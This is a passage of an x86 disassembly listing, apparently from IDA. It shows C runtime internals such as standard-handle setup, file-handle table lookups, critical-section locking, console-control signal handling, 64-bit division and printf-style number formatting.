loc_40AB41 test ebx, ebx jz short loc_40AAEE cmp ebx, 1 jz short loc_40AB00 cmp ebx, 2 jz short loc_40AB12 jmp short loc_40AB22 ; --------------------------------------------------------------------------- loc_40AAEE: ; CODE XREF: sub_40AAB0+30j mov eax, [esp+4+arg_4] push eax push 0FFFFFFF6h call dword_411E0C ; SetStdHandle jmp short loc_40AB22 ; --------------------------------------------------------------------------- loc_40AB00: ; CODE XREF: sub_40AAB0+35j mov eax, [esp+4+arg_4] push eax push 0FFFFFFF5h call dword_411E0C ; SetStdHandle jmp short loc_40AB22 ; --------------------------------------------------------------------------- loc_40AB12: ; CODE XREF: sub_40AAB0+3Aj mov eax, [esp+4+arg_4] push eax push 0FFFFFFF4h call dword_411E0C ; SetStdHandle loc_40AB22: ; CODE XREF: sub_40AAB0+3Cj ; sub_40AAB0+4Ej ... mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov ecx, [esp+4+arg_4] mov [edx+eax], ecx xor eax, eax jmp short loc_40AB4F ; --------------------------------------------------------------------------- loc_40AB41: ; CODE XREF: sub_40AAB0+Bj ; sub_40AAB0+2Cj call sub_4083A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_40AB4F: ; CODE XREF: sub_40AAB0+8Fj pop ebx retn sub_40AAB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AB60 proc near ; CODE XREF: sub_408D80+Cp ; sub_408D80+25p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A88 jnb short loc_40ABA1 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jz short loc_40ABA1 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov eax, [edx+eax] jmp short loc_40ABAF ; --------------------------------------------------------------------------- loc_40ABA1: ; CODE XREF: sub_40AB60+Bj ; sub_40AB60+26j call sub_4083A0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_40ABAF: ; CODE XREF: sub_40AB60+3Fj pop ebx retn sub_40AB60 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+4] push eax call sub_40AB60 pop ecx retn ; --------------------------------------------------------------------------- align 10h push ebx push esi push edi xor bl, bl test byte ptr [esp+14h], 8 jz short loc_40ABDF or bl, 20h loc_40ABDF: ; CODE XREF: DMN0:0040ABDAj test word ptr [esp+14h], 4000h jz short loc_40ABEB or bl, 80h loc_40ABEB: ; CODE XREF: DMN0:0040ABE6j test byte ptr [esp+14h], 80h jz short loc_40ABF5 or bl, 10h loc_40ABF5: ; CODE XREF: DMN0:0040ABF0j mov eax, [esp+10h] push eax call dword_411DEC ; GetFileType mov edi, eax test edi, edi jnz short loc_40AC18 call dword_411CE8 ; RtlGetLastWin32Error push eax call sub_408240 pop ecx or eax, 0FFFFFFFFh jmp short loc_40AC71 ; --------------------------------------------------------------------------- loc_40AC18: ; CODE XREF: DMN0:0040AC04j cmp edi, 2 jnz short loc_40AC22 or bl, 40h jmp short loc_40AC2A ; --------------------------------------------------------------------------- loc_40AC22: ; CODE XREF: DMN0:0040AC1Bj cmp edi, 3 jnz short loc_40AC2A or bl, 8 loc_40AC2A: ; CODE XREF: DMN0:0040AC20j ; DMN0:0040AC25j call sub_40A8D0 mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_40AC46 call sub_4083A0 mov dword ptr [eax], 18h or eax, 0FFFFFFFFh jmp short loc_40AC71 ; --------------------------------------------------------------------------- loc_40AC46: ; CODE XREF: DMN0:0040AC34j mov eax, [esp+10h] push eax push esi call sub_40AAB0 add esp, 8 or bl, 1 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_413988[edx*4] mov [edx+eax+4], bl mov eax, esi loc_40AC71: ; CODE XREF: DMN0:0040AC16j ; DMN0:0040AC44j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AC80 proc near ; CODE XREF: sub_408E20+3Ap ; sub_40A860+3Cp ... arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea esi, [edx+eax] cmp dword ptr [esi+8], 0 jnz short loc_40ACC6 push 3 call sub_408740 pop ecx cmp dword ptr [esi+8], 0 jnz short loc_40ACBE lea eax, [esi+0Ch] push eax call dword_411CC8 ; InitializeCriticalSection inc dword ptr [esi+8] loc_40ACBE: ; CODE XREF: sub_40AC80+2Fj push 3 call sub_4087C0 pop ecx loc_40ACC6: ; CODE XREF: sub_40AC80+21j lea eax, [esi+0Ch] push eax call dword_411CCC ; RtlEnterCriticalSection pop esi pop ebx retn sub_40AC80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40ACE0 proc near ; CODE XREF: sub_408E20+4Ap ; sub_40A860+56p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+0Ch] push eax call dword_411CD0 ; RtlLeaveCriticalSection pop ebx retn sub_40ACE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AD10 proc near ; DATA XREF: sub_40AD50+A4o ; sub_44BCD1+A4o push ebx push 1 push 2 call sub_40AD50 add esp, 8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40AD2B test ebx, ebx jnz short loc_40AD2F loc_40AD2B: ; CODE XREF: sub_40AD10+15j xor eax, eax jmp short loc_40AD4A ; --------------------------------------------------------------------------- loc_40AD2F: ; CODE XREF: sub_40AD10+19j cmp ebx, 1 jz short loc_40AD45 push 0 push 2 call sub_40AD50 add esp, 8 push 2 call ebx pop ecx loc_40AD45: ; CODE XREF: sub_40AD10+22j mov eax, 1 loc_40AD4A: ; CODE XREF: sub_40AD10+1Dj pop ebx retn 4 sub_40AD10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD50 proc near ; CODE XREF: sub_4091A0+18p ; sub_4091A0+3Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] test ebx, ebx jle short loc_40AD6E cmp ebx, 2Ch jge short loc_40AD6E cmp [ebp+arg_4], 0FFFFFFFFh jnz short loc_40AD76 loc_40AD6E: ; CODE XREF: sub_40AD50+Ej ; sub_40AD50+13j or eax, 0FFFFFFFFh jmp loc_40AE26 ; --------------------------------------------------------------------------- loc_40AD76: ; CODE XREF: sub_40AD50+1Cj cmp ebx, 4 jz short loc_40AD85 cmp ebx, 8 jz short loc_40AD85 cmp ebx, 0Bh jnz short loc_40ADE4 loc_40AD85: ; CODE XREF: sub_40AD50+29j ; sub_40AD50+2Ej call sub_409090 mov [ebp+var_8], eax mov eax, [eax+34h] cmp eax, offset dword_4117E4 jnz short loc_40ADC5 push 0B0h call sub_4081A0 pop ecx mov edx, [ebp+var_8] mov [edx+34h], eax test eax, eax jz short loc_40ADC0 mov eax, [ebp+var_8] mov edi, [eax+34h] mov esi, offset dword_4117E4 mov ecx, 2Ch rep movsd jmp short loc_40ADC5 ; --------------------------------------------------------------------------- loc_40ADC0: ; CODE XREF: sub_40AD50+5Aj or eax, 0FFFFFFFFh jmp short loc_40AE26 ; --------------------------------------------------------------------------- loc_40ADC5: ; CODE XREF: sub_40AD50+45j ; sub_40AD50+6Ej mov eax, ebx shl eax, 2 mov edx, [ebp+var_8] mov ecx, [edx+34h] mov ecx, [ecx+eax] mov [ebp+var_4], ecx mov edx, [edx+34h] mov ecx, [ebp+arg_4] mov [edx+eax], ecx mov eax, [ebp+var_4] jmp short loc_40AE26 ; --------------------------------------------------------------------------- loc_40ADE4: ; CODE XREF: sub_40AD50+33j cmp ebx, 2 jnz short loc_40AE12 cmp dword_41189C, 0 jnz short loc_40AE12 push 1 push offset sub_40AD10 call dword_411E10 ; SetConsoleCtrlHandler test eax, eax jnz short loc_40AE08 or eax, 0FFFFFFFFh jmp short loc_40AE26 ; --------------------------------------------------------------------------- loc_40AE08: ; CODE XREF: sub_40AD50+B1j mov dword_41189C, 1 loc_40AE12: ; CODE XREF: sub_40AD50+97j ; sub_40AD50+A0j lea eax, ds:4117E4h[ebx*4] mov edx, [eax] mov [ebp+var_4], edx mov edx, [ebp+arg_4] mov [eax], edx mov eax, [ebp+var_4] loc_40AE26: ; CODE XREF: sub_40AD50+21j ; sub_40AD50+73j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40AD50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AE30 proc near ; CODE XREF: sub_407AA0+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40AE30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40AE40 proc near ; CODE XREF: DMN0:0040928Cp ; sub_40B000+F3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_4] or eax, eax jnz short loc_40AE62 mov ecx, [esp+8+arg_0] mov eax, [esp+8+arg_C] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_8] div ecx mov edx, ebx jmp short loc_40AEA3 ; --------------------------------------------------------------------------- loc_40AE62: ; CODE XREF: sub_40AE40+8j mov ecx, eax mov ebx, [esp+8+arg_0] mov edx, [esp+8+arg_C] mov eax, [esp+8+arg_8] loc_40AE70: ; CODE XREF: sub_40AE40+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_40AE70 div ebx mov esi, eax mul [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] mul esi add edx, ecx jb short loc_40AE9E cmp edx, [esp+8+arg_C] ja short loc_40AE9E jb short loc_40AE9F cmp eax, [esp+8+arg_8] jbe short loc_40AE9F loc_40AE9E: ; CODE XREF: sub_40AE40+4Ej ; sub_40AE40+54j dec esi loc_40AE9F: ; CODE XREF: sub_40AE40+56j ; sub_40AE40+5Cj xor edx, edx mov eax, esi loc_40AEA3: ; CODE XREF: sub_40AE40+20j pop esi pop ebx retn 10h sub_40AE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEB0 proc near ; CODE XREF: sub_409C30+B3p ; sub_409C30+6E1p var_64 = dword ptr -64h var_60 = byte ptr -60h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] cmp dword ptr [ebx+2Ch], 0 jge short loc_40AECE mov [ebp+var_64], 7FFFFFFFh jmp short loc_40AED4 ; --------------------------------------------------------------------------- loc_40AECE: ; CODE XREF: sub_40AEB0+13j mov eax, [ebx+2Ch] mov [ebp+var_64], eax loc_40AED4: ; CODE XREF: sub_40AEB0+1Cj mov eax, [ebp+var_64] mov [ebp+var_4], eax movzx eax, byte_4118A0 mov edx, [ebx+34h] add eax, edx mov [ebp+var_14], eax mov [ebp+var_1C], 0 mov [ebp+var_18], 0 test word ptr [ebx+38h], 4 jnz short loc_40AF05 cmp [ebp+var_14], 40h ja short loc_40AF14 loc_40AF05: ; CODE XREF: sub_40AEB0+4Dj lea eax, [ebp+var_60] mov [ebp+var_10], eax mov [ebp+var_14], 40h jmp short loc_40AF2D ; --------------------------------------------------------------------------- loc_40AF14: ; CODE XREF: sub_40AEB0+53j mov eax, [ebp+var_14] push eax call sub_4081A0 pop ecx mov [ebp+var_10], eax test eax, eax jnz short loc_40AF2D or eax, 0FFFFFFFFh jmp loc_40AFF5 ; --------------------------------------------------------------------------- loc_40AF2D: ; CODE XREF: sub_40AEB0+62j ; sub_40AEB0+73j test esi, esi jnz short loc_40AF36 mov esi, offset aNull ; "(null)" loc_40AF36: ; CODE XREF: sub_40AEB0+7Fj mov [ebp+var_20], 0 jmp short loc_40AFBB ; --------------------------------------------------------------------------- loc_40AF3F: ; CODE XREF: sub_40AEB0+10Fj lea eax, [ebp+var_1C] push eax movzx eax, word ptr [esi] push eax lea eax, [ebp+var_C] push eax call sub_40BEE0 add esp, 0Ch mov edi, eax test eax, eax jl short loc_40AF66 cmp word ptr [esi], 0 jnz short loc_40AF6C dec edi mov eax, edi test eax, eax jge short loc_40AF6C loc_40AF66: ; CODE XREF: sub_40AEB0+A7j or [ebp+var_20], 0FFFFFFFFh jmp short loc_40AFC5 ; --------------------------------------------------------------------------- loc_40AF6C: ; CODE XREF: sub_40AEB0+ADj ; sub_40AEB0+B4j cmp [ebp+var_4], edi jl short loc_40AFC5 mov eax, [ebx+14h] add eax, edi cmp [ebp+var_14], eax jnb short loc_40AF96 mov dword ptr [ebx+34h], 0 mov eax, [ebp+var_10] push eax push ebx call sub_40A370 add esp, 8 mov dword ptr [ebx+14h], 0 loc_40AF96: ; CODE XREF: sub_40AEB0+C9j push edi lea eax, [ebp+var_C] push eax mov eax, [ebx+14h] mov edx, [ebp+var_10] add eax, edx push eax call sub_407630 add esp, 0Ch add [ebx+14h], edi cmp word ptr [esi], 0 jz short loc_40AFC5 add esi, 2 sub [ebp+var_4], edi loc_40AFBB: ; CODE XREF: sub_40AEB0+8Dj cmp [ebp+var_4], 0 jg loc_40AF3F loc_40AFC5: ; CODE XREF: sub_40AEB0+BAj ; sub_40AEB0+BFj ... mov eax, [ebp+var_10] push eax push ebx call sub_40A370 add esp, 8 mov dword ptr [ebx+34h], 0 mov dword ptr [ebx+14h], 0 lea eax, [ebp+var_60] cmp eax, [ebp+var_10] jz short loc_40AFF2 mov eax, [ebp+var_10] push eax call sub_4070F0 pop ecx loc_40AFF2: ; CODE XREF: sub_40AEB0+136j mov eax, [ebp+var_20] loc_40AFF5: ; CODE XREF: sub_40AEB0+78j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40AEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B000 proc near ; CODE XREF: sub_409C30+256p ; sub_409C30+3CAp ... var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = byte ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi cmp [ebp+arg_4], 58h jnz short loc_40B018 mov [ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF" jmp short loc_40B01F ; --------------------------------------------------------------------------- loc_40B018: ; CODE XREF: sub_40B000+Dj mov [ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef" loc_40B01F: ; CODE XREF: sub_40B000+16j mov eax, [ebp+var_34] mov [ebp+var_24], eax cmp [ebp+arg_4], 6Fh jnz short loc_40B034 mov [ebp+var_38], 8 jmp short loc_40B04F ; --------------------------------------------------------------------------- loc_40B034: ; CODE XREF: sub_40B000+29j mov al, [ebp+arg_4] cmp al, 78h jz short loc_40B048 cmp al, 58h jz short loc_40B048 mov [ebp+var_38], 0Ah jmp short loc_40B04F ; --------------------------------------------------------------------------- loc_40B048: ; CODE XREF: sub_40B000+39j ; sub_40B000+3Dj mov [ebp+var_38], 10h loc_40B04F: ; CODE XREF: sub_40B000+32j ; sub_40B000+46j mov eax, [ebp+var_38] mov [ebp+var_8], eax mov [ebp+var_4], 18h mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] mov [ebp+var_30], eax mov [ebp+var_2C], edx mov al, [ebp+arg_4] cmp al, 64h jz short loc_40B075 cmp al, 69h jnz short loc_40B09A loc_40B075: ; CODE XREF: sub_40B000+6Fj mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jg short loc_40B09A jl short loc_40B087 test eax, eax jnb short loc_40B09A loc_40B087: ; CODE XREF: sub_40B000+81j mov eax, [ebp+var_30] mov edx, [ebp+var_2C] neg eax adc edx, 0 neg edx mov [ebp+var_30], eax mov [ebp+var_2C], edx loc_40B09A: ; CODE XREF: sub_40B000+73j ; sub_40B000+7Fj ... mov eax, [ebp+var_30] mov edx, [ebp+var_2C] test edx, edx jnz short loc_40B0B1 test eax, eax jnz short loc_40B0B1 mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jz short loc_40B0E1 loc_40B0B1: ; CODE XREF: sub_40B000+A2j ; sub_40B000+A6j mov eax, [ebp+var_4] dec eax mov [ebp+var_3C], eax mov [ebp+var_4], eax mov ecx, [ebp+var_30] mov ebx, [ebp+var_2C] mov edx, [ebp+var_8] mov esi, edx mov edi, esi sar edi, 1Fh push ebx push ecx push edi push esi call sub_40C130 mov edx, [ebp+var_24] mov al, [edx+eax] mov edx, [ebp+var_3C] mov [ebp+edx+var_20], al loc_40B0E1: ; CODE XREF: sub_40B000+AFj mov eax, [ebp+var_30] mov edx, [ebp+var_2C] mov ecx, [ebp+var_8] mov ebx, ecx sar ebx, 1Fh push edx push eax push ebx push ecx call sub_40AE40 mov ecx, [ebp+arg_0] mov [ecx], eax mov [ecx+4], edx jmp short loc_40B172 ; --------------------------------------------------------------------------- loc_40B102: ; CODE XREF: sub_40B000+188j mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] mov ecx, [ebp+var_8] mov ebx, ecx sar ebx, 1Fh push edx push eax push ebx push ecx call sub_40C1B0 mov [ebp+var_48], eax mov [ebp+var_44], edx mov eax, [ebp+var_4] dec eax mov [ebp+var_4C], eax mov [ebp+var_4], eax mov edx, [ebp+var_8] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov esi, [ebp+var_48] mov edi, [ebp+var_44] push ebx push ecx push edi push esi call sub_40C260 neg eax adc edx, 0 neg edx mov ecx, [ebp+arg_0] mov ebx, [ecx+4] mov ecx, [ecx] add eax, ecx adc edx, ebx mov edx, [ebp+var_24] mov al, [edx+eax] mov edx, [ebp+var_4C] mov [ebp+edx+var_20], al mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov ebx, [ebp+var_44] mov [eax], ecx mov [eax+4], ebx loc_40B172: ; CODE XREF: sub_40B000+100j mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jl short loc_40B18E jg short loc_40B184 test eax, eax jbe short loc_40B18E loc_40B184: ; CODE XREF: sub_40B000+17Ej cmp [ebp+var_4], 0 jg loc_40B102 loc_40B18E: ; CODE XREF: sub_40B000+17Cj ; sub_40B000+182j cmp [ebp+var_8], 8 jnz short loc_40B1BA mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jz short loc_40B1BA mov eax, [ebp+var_4] cmp eax, 18h jnb short loc_40B1BA cmp [ebp+eax+var_20], 30h jz short loc_40B1BA mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov [ebp+eax+var_20], 30h loc_40B1BA: ; CODE XREF: sub_40B000+192j ; sub_40B000+19Dj ... mov edx, [ebp+arg_0] mov eax, 18h mov ecx, [ebp+var_4] sub eax, ecx mov [edx+1Ch], eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] push edx mov edx, [ebp+var_4] lea edx, [ebp+edx+var_20] push edx mov eax, [eax+10h] push eax call sub_407630 add esp, 0Ch mov eax, [ebp+arg_0] mov edx, [eax+2Ch] cmp [eax+1Ch], edx jge short loc_40B206 mov eax, [ebp+arg_0] mov edx, [eax+2Ch] sub edx, [eax+1Ch] mov [eax+18h], edx mov eax, [ebp+arg_0] and word ptr [eax+38h], 0FFEFh jmp short loc_40B237 ; --------------------------------------------------------------------------- loc_40B206: ; CODE XREF: sub_40B000+1EEj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_40B237 movzx edx, word ptr [eax+38h] and edx, 14h cmp edx, 10h jnz short loc_40B237 mov edx, [eax+34h] sub edx, [eax+14h] sub edx, [eax+18h] sub edx, [eax+1Ch] mov [ebp+var_4], edx test edx, edx jle short loc_40B237 mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov [edx+18h], eax loc_40B237: ; CODE XREF: sub_40B000+204j ; sub_40B000+20Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40B000 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40B240 proc near ; CODE XREF: sub_409C30+40Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40C2A0 pop ecx movsx eax, ax retn sub_40B240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B250 proc near ; CODE XREF: sub_409C30+48Cp var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = qword ptr -58h var_50 = qword ptr -50h var_48 = dword ptr -48h var_44 = dword ptr -44h var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = qword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 64h lea eax, [ebp+var_3E] mov [ebp+var_4], eax mov eax, [ebp+arg_0] fld qword ptr [eax] fstp [ebp+var_10] mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B26F cmp al, 41h jnz short loc_40B271 loc_40B26F: ; CODE XREF: sub_40B250+19j jmp short loc_40B2A4 ; --------------------------------------------------------------------------- loc_40B271: ; CODE XREF: sub_40B250+1Dj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_40B286 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 6 jmp short loc_40B2A4 ; --------------------------------------------------------------------------- loc_40B286: ; CODE XREF: sub_40B250+28j mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jnz short loc_40B2A4 mov al, [ebp+arg_4] cmp al, 67h jz short loc_40B29A cmp al, 47h jnz short loc_40B2A4 loc_40B29A: ; CODE XREF: sub_40B250+44j mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 1 loc_40B2A4: ; CODE XREF: sub_40B250:loc_40B26Fj ; sub_40B250+34j ... mov eax, [ebp+arg_0] push eax lea eax, [ebp+var_14] push eax call sub_40C310 add esp, 8 mov [ebp+var_16], ax cmp ax, 2 jnz short loc_40B309 mov edx, [ebp+arg_0] mov dword ptr [edx+1Ch], 3 mov eax, 3 push eax mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B2E1 cmp al, 65h jz short loc_40B2E1 cmp al, 66h jz short loc_40B2E1 cmp al, 67h jnz short loc_40B2EA loc_40B2E1: ; CODE XREF: sub_40B250+83j ; sub_40B250+87j ... mov [ebp+var_44], offset word_4100E2 jmp short loc_40B2F1 ; --------------------------------------------------------------------------- loc_40B2EA: ; CODE XREF: sub_40B250+8Fj mov [ebp+var_44], offset word_4100DE loc_40B2F1: ; CODE XREF: sub_40B250+98j mov eax, [ebp+var_44] push eax mov eax, [ebp+arg_0] mov eax, [eax+10h] push eax call sub_407630 add esp, 0Ch jmp loc_40B8A4 ; --------------------------------------------------------------------------- loc_40B309: ; CODE XREF: sub_40B250+6Cj cmp [ebp+var_16], 0 jle short loc_40B35B mov edx, [ebp+arg_0] mov dword ptr [edx+1Ch], 3 mov eax, 3 push eax mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B333 cmp al, 65h jz short loc_40B333 cmp al, 66h jz short loc_40B333 cmp al, 67h jnz short loc_40B33C loc_40B333: ; CODE XREF: sub_40B250+D5j ; sub_40B250+D9j ... mov [ebp+var_44], offset word_4100DA jmp short loc_40B343 ; --------------------------------------------------------------------------- loc_40B33C: ; CODE XREF: sub_40B250+E1j mov [ebp+var_44], offset off_4100D6 loc_40B343: ; CODE XREF: sub_40B250+EAj mov eax, [ebp+var_44] push eax mov eax, [ebp+arg_0] mov eax, [eax+10h] push eax call sub_407630 add esp, 0Ch jmp loc_40B8A4 ; --------------------------------------------------------------------------- loc_40B35B: ; CODE XREF: sub_40B250+BEj mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B366 cmp al, 41h jnz short loc_40B39E loc_40B366: ; CODE XREF: sub_40B250+110j mov eax, [ebp+arg_0] mov edx, [eax+10h] add eax, 10h lea ecx, [edx+1] mov [eax], ecx mov byte ptr [edx], 30h mov eax, [ebp+arg_0] mov edx, [eax+10h] add eax, 10h lea ecx, [edx+1] mov [eax], ecx xor eax, eax cmp [ebp+arg_4], 61h setnz al dec eax and eax, 20h add eax, 58h mov [edx], al mov eax, [ebp+arg_0] add dword ptr [eax+14h], 2 loc_40B39E: ; CODE XREF: sub_40B250+114j cmp [ebp+var_16], 0 jnz short loc_40B3B6 mov [ebp+var_12], 0 mov [ebp+var_14], 0 jmp loc_40B885 ; --------------------------------------------------------------------------- loc_40B3B6: ; CODE XREF: sub_40B250+153j mov al, [ebp+arg_4] cmp al, 61h jz short loc_40B3C5 cmp al, 41h jnz loc_40B5CB loc_40B3C5: ; CODE XREF: sub_40B250+16Bj cmp [ebp+arg_4], 61h jnz short loc_40B3D4 mov dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef" jmp short loc_40B3DB ; --------------------------------------------------------------------------- loc_40B3D4: ; CODE XREF: sub_40B250+179j mov dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF" loc_40B3DB: ; CODE XREF: sub_40B250+182j mov eax, dword ptr [ebp+var_50+4] mov [ebp+var_48], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_40B3F3 mov dword ptr [ebp+var_50], 21h jmp short loc_40B3FD ; --------------------------------------------------------------------------- loc_40B3F3: ; CODE XREF: sub_40B250+198j mov eax, [ebp+arg_0] mov eax, [eax+2Ch] inc eax mov dword ptr [ebp+var_50], eax loc_40B3FD: ; CODE XREF: sub_40B250+1A1j mov eax, dword ptr [ebp+var_50] mov [ebp+var_12], ax movsx eax, [ebp+var_12] inc eax mov [ebp+var_44], eax fld dbl_4100AC fcomp [ebp+var_10] fnstsw ax sahf jbe short loc_40B426 mov eax, [ebp+arg_0] fld qword ptr [eax] fchs fstp [ebp+var_58] jmp short loc_40B42E ; --------------------------------------------------------------------------- loc_40B426: ; CODE XREF: sub_40B250+1C8j mov eax, [ebp+arg_0] fld qword ptr [eax] fstp [ebp+var_58] loc_40B42E: ; CODE XREF: sub_40B250+1D4j fld [ebp+var_58] fstp [ebp+var_10] sub [ebp+var_14], 4 mov eax, [ebp+var_4] lea edx, [eax+1] mov [ebp+var_4], edx mov byte ptr [eax], 0 jmp loc_40B4D1 ; --------------------------------------------------------------------------- loc_40B44A: ; CODE XREF: sub_40B250+293j push 1Ch lea eax, [ebp+var_10] push eax call sub_40C330 add esp, 8 fld [ebp+var_10] call sub_40C350 mov [ebp+var_5C], eax mov eax, [ebp+var_44] sub eax, 7 mov [ebp+var_44], eax test eax, eax jle short loc_40B47B fld [ebp+var_10] fild [ebp+var_5C] fsubp st(1), st fstp [ebp+var_10] loc_40B47B: ; CODE XREF: sub_40B250+21Ej mov eax, [ebp+var_4] add eax, 7 mov [ebp+var_4], eax mov [ebp+var_60], 7 jmp short loc_40B4A0 ; --------------------------------------------------------------------------- loc_40B48D: ; CODE XREF: sub_40B250+25Fj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov edx, [ebp+var_5C] and edx, 0Fh mov [eax], dl sar [ebp+var_5C], 4 loc_40B4A0: ; CODE XREF: sub_40B250+23Bj cmp [ebp+var_5C], 0 jle short loc_40B4B1 mov eax, [ebp+var_60] dec eax mov [ebp+var_60], eax test eax, eax jge short loc_40B48D loc_40B4B1: ; CODE XREF: sub_40B250+254j jmp short loc_40B4BD ; --------------------------------------------------------------------------- loc_40B4B3: ; CODE XREF: sub_40B250+276j mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov byte ptr [eax], 0 loc_40B4BD: ; CODE XREF: sub_40B250:loc_40B4B1j mov eax, [ebp+var_60] dec eax mov [ebp+var_60], eax test eax, eax jge short loc_40B4B3 mov eax, [ebp+var_4] add eax, 7 mov [ebp+var_4], eax loc_40B4D1: ; CODE XREF: sub_40B250+1F5j cmp [ebp+var_44], 0 jle short loc_40B4E9 fld [ebp+var_10] fcomp dbl_4100AC fnstsw ax sahf ja loc_40B44A loc_40B4E9: ; CODE XREF: sub_40B250+285j mov eax, [ebp+var_4] lea edx, [ebp+var_3D] sub eax, edx mov [ebp+var_44], eax lea eax, [ebp+var_3D] mov [ebp+var_4], eax movsx eax, [ebp+var_12] cmp [ebp+var_44], eax jge short loc_40B50A mov eax, [ebp+var_44] mov [ebp+var_12], ax loc_40B50A: ; CODE XREF: sub_40B250+2B1j cmp [ebp+var_12], 0 jl loc_40B5AE mov ax, [ebp+var_12] movsx edx, ax cmp edx, [ebp+var_44] jge short loc_40B536 movsx eax, ax mov edx, 